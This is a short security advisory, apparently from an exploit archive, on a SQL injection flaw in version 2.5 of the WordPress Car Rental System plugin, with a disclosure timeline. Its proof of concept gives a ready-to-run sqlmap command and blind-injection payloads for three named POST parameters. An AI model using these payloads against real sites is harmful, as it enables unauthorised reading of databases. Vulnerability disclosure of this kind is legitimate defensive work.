WordPress Car Rental System 2.5 SQL Injection

WordPress Car Rental System plugin version 2.5 suffers from a remote SQL injection vulnerability.

MD5 | 410c8655e6260bbdbbfe46359f415cb9

# Exploit Title: Car Rental System v2.5
# Date: 28/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: https://www.bestsoftinc.com/
# Software Link: https://www.bestsoftinc.com/car-rental-system.html
# Version: 2.5
# Contact: [email protected]
# Website: https://tad.bg <https://tad.bg>
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Car Rental System v2.5 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameters 'pickuploc', 'dropoffloc', and 'car_type' are vulnerable.

2. Proof of concept

sqlmap -u "http://server/wp-car/" adata="pickuploc=2&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=" --dbs --threads=5 --random-agent

Parameter: pickuploc (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pickuploc=2 AND 3834=3834&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: pickuploc=2 AND SLEEP(5)&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=

The same is applicable for 'dropoffloc' and 'car_type' parameters

3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact


5. Affected versions

<= 2.5

6. Disclosure timeline

13-Mar-2017 - found the vulnerability
13-Mar-2017 - informed the developer
28-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.

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